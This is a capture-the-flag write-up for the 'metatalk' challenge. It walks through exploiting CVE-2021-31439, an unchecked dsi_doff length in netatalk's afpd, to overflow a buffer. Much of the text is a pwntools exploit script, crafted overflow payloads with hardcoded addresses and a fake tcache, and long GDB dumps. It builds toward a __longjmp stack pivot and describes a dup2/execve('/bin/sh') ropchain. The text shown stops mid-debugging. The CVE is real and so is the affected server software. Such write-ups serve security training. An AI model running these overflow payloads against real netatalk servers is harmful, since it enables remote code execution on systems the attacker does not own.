metatalk
421 pts - 3 solves
Let’s talk in the metaverse.
nc 18.181.73.12 4869
Environment of challenge server is 5.11.0-1020-aws #21~20.04.2-Ubuntu SMP Fri Oct 1 13:03:59 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
The metatalk service uses the same dockerfile.
Attachment: metatalk.tar.gz exploit.py
Team: Super Guesser
metatalk was a challenge based on netatalk, which reminded me of CVE-2018-1160
from pwnable.tw. But this time, it was a newer version, in which that bug was already fixed.
But I assumed angelboy might just have found another bug and searched for current CVEs on netatalk-3.1.12 and found CVE-2021-31439 , which mentioned “missing validation on the length of user-supplied data prior to copying it to a heap-based buffer” and the title was more specific that it’s about dsi_doff
.
With this information, I searched the source code of netatalk to find out, where this might be happening
/*!
* Read DSI command and data
*
* @param dsi (rw) DSI handle
*
* @return DSI function on success, 0 on failure
*/
int dsi_stream_receive ( DSI * dsi )
{
char block [ DSI_BLOCKSIZ ];
LOG ( log_maxdebug , logtype_dsi , "dsi_stream_receive: START" );
...
/* read in the header */
if ( dsi_buffered_stream_read ( dsi , ( uint8_t * ) block , sizeof ( block )) != sizeof ( block ))
return 0 ;
dsi -> header . dsi_flags = block [ 0 ];
dsi -> header . dsi_command = block [ 1 ];
...
// Copy dsi_doff from the just read header
memcpy ( & dsi -> header . dsi_data . dsi_doff , block + 4 , sizeof ( dsi -> header . dsi_data . dsi_doff ));
dsi -> header . dsi_data . dsi_doff = htonl ( dsi -> header . dsi_data . dsi_doff );
...
/* make sure we don't over-write our buffers. */
dsi -> cmdlen = MIN ( ntohl ( dsi -> header . dsi_len ), dsi -> server_quantum );
/* Receiving DSIWrite data is done in AFP function, not here */
if ( dsi -> header . dsi_data . dsi_doff ) {
LOG ( log_maxdebug , logtype_dsi , "dsi_stream_receive: write request" );
// Overwrite dsi->cmdlen with dsi_doff without any validation
dsi -> cmdlen = dsi -> header . dsi_data . dsi_doff ;
}
if ( dsi_stream_read ( dsi , dsi -> commands , dsi -> cmdlen ) != dsi -> cmdlen )
return 0 ;
...
}
In the code for reading a dsi
package, it will read our package and copy dsi_doff
into the current dsi->header.dsi_data
. It then checks for a valid size in cmdlen
, but if dsi_doff
is defined, it will just overwrite cmdlen
without checking, if dsi_doff
is in fact a valid size for the package.
dsi_stream_read
will thus just take dsi_doff
as the length for the package to read into the allocated buffer, allowing us to overflow it arbitrarily.
The buffer for reading dsi packages has a size of 0x101000
, so specifying a dsi_doff
bigger than that, will result in overwriting data behind it.
0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7eeb000 0x00007ffff7fec000 0x0000000000000000 rw- <= mmapped region for dsi buffer
0x00007ffff7fec000 0x00007ffff7fee000 0x0000000000000000 rw-
0x00007ffff7ff4000 0x00007ffff7ff6000 0x0000000000000000 rw-
0x00007ffff7ff6000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
In the provided Dockerfile, the dsi buffer will be in a mmapped
region followed by two other rw regions.
Checking the following region shows some libc addresses
0x7ffff7fec000: 0x0000000000000000 0x0000000000000000
0x7ffff7fec010: 0x0000000000000000 0x0000000000000000
0x7ffff7fec020: 0x0000000000000000 0x0000000000000000
0x7ffff7fec030: 0x00007ffff735a779 0x0000000009691a75
0x7ffff7fec040: 0x0000000000000000 0x00007ffff735a785
0x7ffff7fec050: 0x0000000009691a76 0x0000000000000000
0x7ffff7fec060: 0x00007ffff735a791 0x000000000d696913
0x7ffff7fec070: 0x0000000000000000 0x00007ffff735a79b
0x7ffff7fec080: 0x0000000009691972 0x0000000000000000
0x7ffff7fec090: 0x00007ffff735a7a7 0x0000000009691973
0x7ffff7fec0a0: 0x0000000000000000 0x00007ffff735a7b3
0x7ffff7fec0b0: 0x0000000009691974 0x0000000000000000
0x7ffff7fec0c0: 0x00007ffff735a7bf 0x000000000d696914
0x7ffff7fec0d0: 0x0000000000000000 0x00007ffff735a7c9
0x7ffff7fec0e0: 0x000000000d696915 0x0000000000000000
0x7ffff7fec0f0: 0x00007ffff735a7d3 0x000000000d696916
0x7ffff7fec100: 0x0000000000000000 0x00007ffff735a7dd
0x7ffff7fec110: 0x000000000d696917 0x0000000000000000
0x7ffff7fec120: 0x00007ffff735a7e7 0x000000000d696918
0x7ffff7fec130: 0x0000000000000000 0x00007ffff735a7f1
0x7ffff7fec140: 0x000000000d696919 0x0000000000000000
so overflowing into those regions might open up an exploitation path.
From the pwnable.tw challenge, I already had a good idea, how DSI packages can be sent to afpd
, but we would need to go a bit deeper for this challenge.
Let’s start with a simple script first, to connect to afpd
and initate a session.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "localhost"
PORT = 5566
PROCESS = "./afpd"
DSIFUNC_CLOSE = 1
DSIFUNC_CMD = 2
DSIFUNC_STAT = 3
DSIFUNC_OPEN = 4
DSIFUNC_TICKLE = 5
DSIFUNC_WRITE = 6
DSIFUNC_ATTN = 8
DSIFUNC_MAX = 8
DSIOPT_ATTNQUANT = 1
AFP_LOGIN = 0x12
AFP_LOGINCONT = 0x13
AFP_LOGOUT = 0x14
AFP_LOGINEXT = 0x3f
def dsi_block ( flags , command , requestID , doff , dsilen , reserved ):
block = p8 ( flags )
block += p8 ( command )
block += p16 ( requestID )
block += p32 ( doff , endian = "big" )
block += p32 ( dsilen , endian = "big" )
block += p32 ( reserved )
return block
def send_dsi_package ( block_cmd , request_id , doff , dsilen , reserved , payload ):
package = dsi_block ( 0 , block_cmd , request_id , doff , dsilen , reserved )
package += payload
r . send ( package )
def exploit ( r ):
log . info ( "Open session" )
cmd = p8 ( DSIOPT_ATTNQUANT )
cmd += p8 ( 4 )
cmd += p32 ( 0x1337 )
send_dsi_package ( DSIFUNC_OPEN , 0x100 , 0 , len ( cmd ), 0 , cmd )
HEADER = r . recv ( 0x1c )
r . interactive ()
return
if __name__ == "__main__" :
# e = ELF("./afpd")
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
else :
LOCAL = True
#r = process("./afpd")
r = remote ( "localhost" , 5566 )
print ( util . proc . pidof ( r ))
pause ()
exploit ( r )
With this, we can send a DSIFUNC_OPEN
request and check that the connection to the afpd
service works.
After that, I tried to trigger the overflow by sending an oversized login command. Just debugged the login functionality to find out the proper parameters for the call.
We will send a DSIFUNC_CMD
request with the AFP_LOGIN
option, and have to provide the afp version, the login functionality we want to use and the username.
user = "metatalk"
version = "AFP2.2"
uams = "DHX"
log . info ( "Overflow package data" )
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
command += "A" * ( 0x101000 - 0x10 - len ( command ))
command += cyclic_metasploit ( 0x4000 )
send_dsi_package ( DSIFUNC_CMD , 0x100 , len ( command ), len ( command ), 0 , command )
Since we know, that the DSI buffer is located in the mmapped region and has a size of 0x101000
, I just appended enough junk and added a cyclic pattern to overflow into the next region.
Thread 1 "afpd" received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x47306347396246b8
$rbx : 0x104ff0
$rcx : 0x00007ffff77458da → 0x6677fffff0003d48 ("H="?)
$rdx : 0xffffffffffffff80
$rsp : 0x00007fffffffe810 → 0x0000000061ae0baa
$rbp : 0x7
$rsi : 0x00007ffff7faf668 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x7
$rip : 0x00007ffff7b98f36 → <readt+230> mov edi, DWORD PTR [rax]
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x246
$r12 : 0x00007ffff7eee010 → 0x322e325046410612
$r13 : 0xc1658
$r14 : 0x0
$r15 : 0xffffffffffffffff
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe810│+0x0000: 0x0000000061ae0baa ← $rsp
0x00007fffffffe818│+0x0008: 0x0000000000000000
0x00007fffffffe820│+0x0010: 0x00007fffffffe880 → 0x0000000000000000
0x00007fffffffe828│+0x0018: 0x0000000000000080
0x00007fffffffe830│+0x0020: 0x0000000000000000
0x00007fffffffe838│+0x0028: 0x0000000800000000
0x00007fffffffe840│+0x0030: 0x00007fffffffe860 → 0xffffffffffffffff
0x00007fffffffe848│+0x0038: 0x0000000000000007
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7b98f2c <readt+220> mov r15, rax
0x7ffff7b98f2f <readt+223> jne 0x7ffff7b98f00 <readt+176>
0x7ffff7b98f31 <readt+225> call 0x7ffff7b638f0 <__errno_location@plt>
→ 0x7ffff7b98f36 <readt+230> mov edi, DWORD PTR [rax]
0x7ffff7b98f38 <readt+232> mov r14, rax
0x7ffff7b98f3b <readt+235> cmp edi, 0x4
0x7ffff7b98f3e <readt+238> je 0x7ffff7b98f0c <readt+188>
0x7ffff7b98f40 <readt+240> cmp edi, 0xb
0x7ffff7b98f43 <readt+243> jne 0x7ffff7b98ff8 <readt+424>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7ffff7b98f36 in readt (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7b98f36 → readt()
[#1] 0x7ffff7b7a960 → dsi_stream_read()
[#2] 0x7ffff7b7af7b → dsi_stream_receive()
[#3] 0x40b517 → afp_over_dsi()
[#4] 0x4098c6 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00007ffff7b98f36 in readt () from /home/metatalk/libatalk.so.18
ssize_t readt ( int socket , void * data , const size_t length , int setnonblocking , int timeout )
{
...
while ( stored < length ) {
len = recv ( socket , ( char * ) data + stored , length - stored , 0 );
if ( len == - 1 ) {
switch ( errno ) {
So, this ran into an error in readt
and segfaults trying to store the error code. Let’s just try to give it a “valid” memory address, it can write to.
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
command += "A" * ( 0x101000 - 0x10 - len ( command ))
command += "C" * 4736
command += p64 ( 0x644820 ) # bss address for storing errno
command += cyclic_metasploit ( 0x4000 - 4738 - 8 )
send_dsi_package ( DSIFUNC_CMD , 0x100 , len ( command ), len ( command ), 0 , command )
Program received signal SIGSEGV, Segmentation fault.
__GI___libc_malloc (bytes=bytes@entry=0x7f) at malloc.c:3058
3058 malloc.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x7f
$rcx : 0x4343434343434343 ("CCCCCCCC"?)
$rdx : 0x0
$rsp : 0x00007fffffffe220 → 0x00000000007d00e7
$rbp : 0xffffffffffffffb0
$rsi : 0x434343434343437b ("{CCCCCCC"?)
$rdi : 0x7f
$rip : 0x00007ffff73da2c4 → <malloc+388> mov rdx, QWORD PTR [rsi+0x40]
$r8 : 0x204
$r9 : 0x00007ffff7b5edaa → "libc.so.6"
$r10 : 0x7
$r11 : 0x0
$r12 : 0x00007ffff7ffee50 → "/home/metatalk/libatalk.so.18"
$r13 : 0x00007ffff7df785e → 0x3d656c69660a0000
$r14 : 0x7f
$r15 : 0x00007ffff7df7818 → "symbol %s version %s not defined in file %s with l[...]"
$eflags: [zero CARRY parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe220│+0x0000: 0x00000000007d00e7 ← $rsp
0x00007fffffffe228│+0x0008: 0x00007ffff7b5cb12 → "__stack_chk_fail"
0x00007fffffffe230│+0x0010: 0x00007ffff7b58950 → 0x00000012000000b2
0x00007fffffffe238│+0x0018: 0x00007ffff7df785e → 0x3d656c69660a0000
0x00007fffffffe240│+0x0020: 0x00007fffffffe370 → 0x00007ffff7b5c4a8 → 0x000c001200001f3a
0x00007fffffffe248│+0x0028: 0x00007ffff7deac48 → <_dl_exception_create_format+360> test rax, rax
0x00007fffffffe250│+0x0030: 0x000000000000001e
0x00007fffffffe258│+0x0038: 0x00007fffffffe280 → 0x0000000000000007
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff73da2b5 <malloc+373> je 0x7ffff73da1ac <__GI___libc_malloc+108>
0x7ffff73da2bb <malloc+379> nop DWORD PTR [rax+rax*1+0x0]
0x7ffff73da2c0 <malloc+384> lea rsi, [rcx+rax*8]
→ 0x7ffff73da2c4 <malloc+388> mov rdx, QWORD PTR [rsi+0x40]
0x7ffff73da2c8 <malloc+392> test rdx, rdx
0x7ffff73da2cb <malloc+395> je 0x7ffff73da1ac <__GI___libc_malloc+108>
0x7ffff73da2d1 <malloc+401> cmp rax, 0x3f
0x7ffff73da2d5 <malloc+405> ja 0x7ffff73da2f8 <__GI___libc_malloc+440>
0x7ffff73da2d7 <malloc+407> mov rdi, QWORD PTR [rdx]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7ffff73da2c4 in __GI___libc_malloc (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff73da2c4 → __GI___libc_malloc(bytes=0x7f)
[#1] 0x7ffff7deac48 → __GI__dl_exception_create_format(exception=0x7fffffffe370, objname=<optimized out>, fmt=0x7ffff7df7818 "symbol %s version %s not defined in file %s with link time reference%s")
[#2] 0x7ffff7dde9ea → _dl_lookup_symbol_x(undef_name=0x7ffff7b5cb12 "__stack_chk_fail", undef_map=0x7ffff7ff4000, ref=0x7fffffffe3e8, symbol_scope=0x7ffff7ff4358, version=0x7ffff7ff5c48, type_class=0x1, flags=0x5, skip_map=<optimized out>)
[#3] 0x7ffff7de3053 → _dl_fixup(l=<optimized out>, reloc_arg=<optimized out>)
[#4] 0x7ffff7dea96a → _dl_runtime_resolve_xsavec()
[#5] 0x7ffff7b992e7 → readt()
[#6] 0x7ffff7b7a960 → dsi_stream_read()
[#7] 0x7ffff7b7af7b → dsi_stream_receive()
[#8] 0x40b517 → afp_over_dsi()
[#9] 0x4098c6 → main()
Ok, we broke something very seriously now, so afpd
tries to allocate memory for storing an exception. It tries to allocate a buffer with size 0x7f
getting a chunk from tcache, and it seems that we overflow the tcache pointer for this client thread.
Sooooooo, when I hit this segfault in the CTF, I went down the rabbit hole, and created a fake tcache in bss to fulfill all following allocations, which then finally resulted in a __longjmp
for which we control all registers.
Long story short, that was a real pain ;)
For this, I had to do a valid login before the overflowing package, in which I created a fake tcache arena in the username (which must not be longer than 255 chars), which needed to be forged in a way, that it succeeds all the following allocations (thus also creating valid looking free fastbins in the username) and put a ropchain also in.
With a 255 length username that was not quite easy, thus I tried to do another read for the final ropchain, which got totally fucked up by the oversized payload, that was still in the buffer (always landing in random positions in the buffer). It took me around 4 hours to realize, that we will just not be successful in doing a second read =(
I then just went and optimized the initial ropchain to do a “dup2(socket, 1); dup2(socket, 0); execve(“/bin/sh”, 0, 0);” and also stuffed it into the username (in between tcache arena, so we also had to jump over the needed tcache pointers).
But while doing the writeup, I found, that this can be done in a much easier way. If I’d just have stepped back for a moment while doing this challenge in the ctf.
Just pass this a pointer to a blank space in bss will make it think that there are no free tcache chunks and happily just continue running into the same exception handling (though this time, we can use the username completely without any extra hurdles).
Let’s see, how that works out
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
command += "A" * ( 0x101000 - 0x10 - len ( command ))
command += cyclic_metasploit ( 4656 )
command += p64 ( 0x63d300 ) # fake empty tcache arena
command += cyclic_metasploit ( 4736 - 8 - 4656 )
command += p64 ( 0x644820 ) # bss address for storing errno
command += cyclic_metasploit ( 0x4000 - 4738 - 8 )
Program received signal SIGSEGV, Segmentation fault.
__GI__dl_signal_exception (errcode=0x0, exception=0x7ffd83bc4df0, occasion=0x7f7612ee3a55 "relocation error") at dl-error-skeleton.c:95
95 in dl-error-skeleton.c
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x3363413263413163 ("c1Ac2Ac3"?)
$rbx : 0x00007ffd83bc4df0 → 0x0000000001d01a1b → "/home/metatalk/libatalk.so.18"
$rcx : 0x1e
$rdx : 0x00007f7612ee3a55 → "relocation error"
$rsp : 0x00007ffd83bc4d50 → 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
$rbp : 0x0
$rsi : 0x00007ffd83bc4df0 → 0x0000000001d01a1b → "/home/metatalk/libatalk.so.18"
$rdi : 0x0
$rip : 0x00007f76125980f4 → <_dl_signal_exception+20> mov rdx, QWORD PTR [rax]
$r8 : 0xffff
$r9 : 0x0
$r10 : 0x00007f7612ee369f → 0x706e203d3d206900
$r11 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r12 : 0x00007f7612ee3a55 → "relocation error"
$r13 : 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
$r14 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d50│+0x0000: 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5" ← $rsp
0x00007ffd83bc4d58│+0x0008: 0x00007f7612edcd58 → nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0010: 0x00007ffd83bc4df0 → 0x0000000001d01a1b → "/home/metatalk/libatalk.so.18"
0x00007ffd83bc4d68│+0x0018: 0x00007f76130e8358 → 0x00007f76130ec428 → 0x00007f76130e9a20 → 0x00007f76130ec170 → 0x0000000000000000
0x00007ffd83bc4d70│+0x0020: 0x00007ffd83bc4e68 → 0x00007f7612c476d0 → 0x0000001200000bb0
0x00007ffd83bc4d78│+0x0028: 0x00007f7612ecc5ad → <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0030: 0x00007f7612c4b610 → "strerror"
0x00007ffd83bc4d88│+0x0038: 0x000000013148f100
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f76125980eb <_dl_signal_exception+11> mov rax, QWORD PTR fs:[rax]
0x7f76125980ef <_dl_signal_exception+15> test rax, rax
0x7f76125980f2 <_dl_signal_exception+18> je 0x7f761259811a <__GI__dl_signal_exception+58>
→ 0x7f76125980f4 <_dl_signal_exception+20> mov rdx, QWORD PTR [rax]
0x7f76125980f7 <_dl_signal_exception+23> movdqu xmm0, XMMWORD PTR [rsi]
0x7f76125980fb <_dl_signal_exception+27> movups XMMWORD PTR [rdx], xmm0
0x7f76125980fe <_dl_signal_exception+30> mov rcx, QWORD PTR [rsi+0x10]
0x7f7612598102 <_dl_signal_exception+34> mov esi, 0x1
0x7f7612598107 <_dl_signal_exception+39> mov QWORD PTR [rdx+0x10], rcx
────────────────────────────────────────────────────────────────────────────────────────────────────────
So, now we’re crashing directly in _dl_signal_exception
(exactly where we want to go). Let’s just fix rax
and put some bss pointer there, so it doesn’t crash. We just have to make sure, that there is a valid address, which can be dereferenced by the following movups XMMWORD PTR [rdx], xmm0
.
0x000000000063d0a0│+0x00a0: 0x0000000000000000
0x000000000063d0a8│+0x00a8: 0x0000000000000000
0x000000000063d0b0│+0x00b0: 0x0000000000000000
0x000000000063d0b8│+0x00b8: 0x0000000001ce77a0 → 0x0000000000000000
0x000000000063d0c0│+0x00c0: 0x0000000001ce77a0 → 0x0000000000000000
command = p8 ( AFP_LOGIN )
command += p8 ( len ( version )) + version
command += p8 ( len ( uams )) + uams
command += p8 ( len ( user )) + user
command += "A" * ( 0x101000 - 0x10 - len ( command ))
command += cyclic_metasploit ( 4656 )
command += p64 ( 0x63d300 ) # fake empty tcache arena
command += "A" * 64
command += p64 ( 0x000000000063d0b8 ) # bss pointer to not crash in dl_signal
command += cyclic_metasploit ( 4736 - 8 - 4656 - 64 - 8 )
command += p64 ( 0x644820 ) # bss address for storing errno
command += cyclic_metasploit ( 0x4000 - 4738 - 8 )
With this, we’ll now get smoothly through _dl_signal_exception
and land here
0x00007f7612598115 99 in dl-error-skeleton.c
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000000063d0b8 → 0x0000000001ce77a0 → 0x0000000000000000
$rbx : 0x00007ffd83bc4df0 → 0x0000000001d01a5b → "/home/metatalk/libatalk.so.18"
$rcx : 0x0000000001d01a00 → "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx : 0x0000000001ce77a0 → 0x0000000000000000
$rsp : 0x00007ffd83bc4d50 → 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
$rbp : 0x0
$rsi : 0x1
$rdi : 0x000000000063d0c8 → 0x0000000000000000
$rip : 0x00007f7612598115 → <_dl_signal_exception+53> call 0x7f761246fd80 <__longjmp>
$r8 : 0xffff
$r9 : 0x0
$r10 : 0x00007f7612ee369f → 0x706e203d3d206900
$r11 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r12 : 0x00007f7612ee3a55 → "relocation error"
$r13 : 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
$r14 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d50│+0x0000: 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5" ← $rsp
0x00007ffd83bc4d58│+0x0008: 0x00007f7612edcd58 → nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0010: 0x00007ffd83bc4df0 → 0x0000000001d01a5b → "/home/metatalk/libatalk.so.18"
0x00007ffd83bc4d68│+0x0018: 0x00007f76130e8358 → 0x00007f76130ec428 → 0x00007f76130e9a20 → 0x00007f76130ec170 → 0x0000000000000000
0x00007ffd83bc4d70│+0x0020: 0x00007ffd83bc4e68 → 0x00007f7612c476d0 → 0x0000001200000bb0
0x00007ffd83bc4d78│+0x0028: 0x00007f7612ecc5ad → <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0030: 0x00007f7612c4b610 → "strerror"
0x00007ffd83bc4d88│+0x0038: 0x000000013148f100
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f761259810b <_dl_signal_exception+43> mov rdx, QWORD PTR [rax+0x8]
0x7f761259810f <_dl_signal_exception+47> mov DWORD PTR [rdx], edi
0x7f7612598111 <_dl_signal_exception+49> lea rdi, [rax+0x10]
→ 0x7f7612598115 <_dl_signal_exception+53> call 0x7f761246fd80 <__longjmp>
↳ 0x7f761246fd80 <__longjmp+0> mov r8, QWORD PTR [rdi+0x30]
0x7f761246fd84 <__longjmp+4> mov r9, QWORD PTR [rdi+0x8]
0x7f761246fd88 <__longjmp+8> mov rdx, QWORD PTR [rdi+0x38]
0x7f761246fd8c <__longjmp+12> ror r8, 0x11
0x7f761246fd90 <__longjmp+16> xor r8, QWORD PTR fs:0x30
0x7f761246fd99 <__longjmp+25> ror r9, 0x11
calling __longjmp
and rdi
will be just the address we passed to it +0x10
.
0x00007f7612ede2c0 <+0>: mov r8,QWORD PTR [rdi+0x30]
0x00007f7612ede2c4 <+4>: mov r9,QWORD PTR [rdi+0x8]
0x00007f7612ede2c8 <+8>: mov rdx,QWORD PTR [rdi+0x38]
0x00007f7612ede2cc <+12>: ror r8,0x11
0x00007f7612ede2d0 <+16>: xor r8,QWORD PTR [rip+0x20c459] # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2d7 <+23>: ror r9,0x11
0x00007f7612ede2db <+27>: xor r9,QWORD PTR [rip+0x20c44e] # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2e2 <+34>: ror rdx,0x11
0x00007f7612ede2e6 <+38>: xor rdx,QWORD PTR [rip+0x20c443] # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2ed <+45>: nop
0x00007f7612ede2ee <+46>: mov rbx,QWORD PTR [rdi]
0x00007f7612ede2f1 <+49>: mov r12,QWORD PTR [rdi+0x10]
0x00007f7612ede2f5 <+53>: mov r13,QWORD PTR [rdi+0x18]
0x00007f7612ede2f9 <+57>: mov r14,QWORD PTR [rdi+0x20]
0x00007f7612ede2fd <+61>: mov r15,QWORD PTR [rdi+0x28]
0x00007f7612ede301 <+65>: mov eax,esi
0x00007f7612ede303 <+67>: mov rsp,r8
0x00007f7612ede306 <+70>: mov rbp,r9
0x00007f7612ede309 <+73>: nop
0x00007f7612ede30a <+74>: jmp rdx
This is beatuiful for stack pivoting…
r8
, r9
and rdx
will be taken from memory relative to rdi
(which we control) and at the end rsp
will be set to r8
, rbp
to r9
and we’ll jump to rdx
.
We just have to check for the demangling, that seems to happen there
0x00007f7612ede2cc <+12>: ror r8,0x11
0x00007f7612ede2d0 <+16>: xor r8,QWORD PTR [rip+0x20c459] # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2d7 <+23>: ror r9,0x11
0x00007f7612ede2db <+27>: xor r9,QWORD PTR [rip+0x20c44e] # 0x7f76130ea730 <__pointer_chk_guard_local>
0x00007f7612ede2e2 <+34>: ror rdx,0x11
0x00007f7612ede2e6 <+38>: xor rdx,QWORD PTR [rip+0x20c443] # 0x7f76130ea730 <__pointer_chk_guard_local>
but, if we debug it…
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000000063d0b8 → 0x0000000001ce77a0 → 0x0000000000000000
$rbx : 0x00007ffd83bc4df0 → 0x0000000001d01a5b → "/home/metatalk/libatalk.so.18"
$rcx : 0x0000000001d01a00 → "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx : 0x0
$rsp : 0x00007ffd83bc4d48 → 0x00007f761259811a → <_dl_signal_exception+58> mov rcx, QWORD PTR [rsi+0x8]
$rbp : 0x0
$rsi : 0x1
$rdi : 0x000000000063d0c8 → 0x0000000000000000
$rip : 0x00007f761246fd99 → <__longjmp+25> ror r9, 0x11
$r8 : 0x3562413462413362 ("b3Ab4Ab5"?)
$r9 : 0x0
$r10 : 0x00007f7612ee369f → 0x706e203d3d206900
$r11 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r12 : 0x00007f7612ee3a55 → "relocation error"
$r13 : 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
$r14 : 0x00007f76130e8000 → 0x00007f7612c45000 → 0x00010102464c457f
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd83bc4d48│+0x0000: 0x00007f761259811a → <_dl_signal_exception+58> mov rcx, QWORD PTR [rsi+0x8] ← $rsp
0x00007ffd83bc4d50│+0x0008: 0x00007f76130e9c00 → 0x00007f7612c4cdf2 → "GLIBC_2.2.5"
0x00007ffd83bc4d58│+0x0010: 0x00007f7612edcd58 → nop DWORD PTR [rax+rax*1+0x0]
0x00007ffd83bc4d60│+0x0018: 0x00007ffd83bc4df0 → 0x0000000001d01a5b → "/home/metatalk/libatalk.so.18"
0x00007ffd83bc4d68│+0x0020: 0x00007f76130e8358 → 0x00007f76130ec428 → 0x00007f76130e9a20 → 0x00007f76130ec170 → 0x0000000000000000
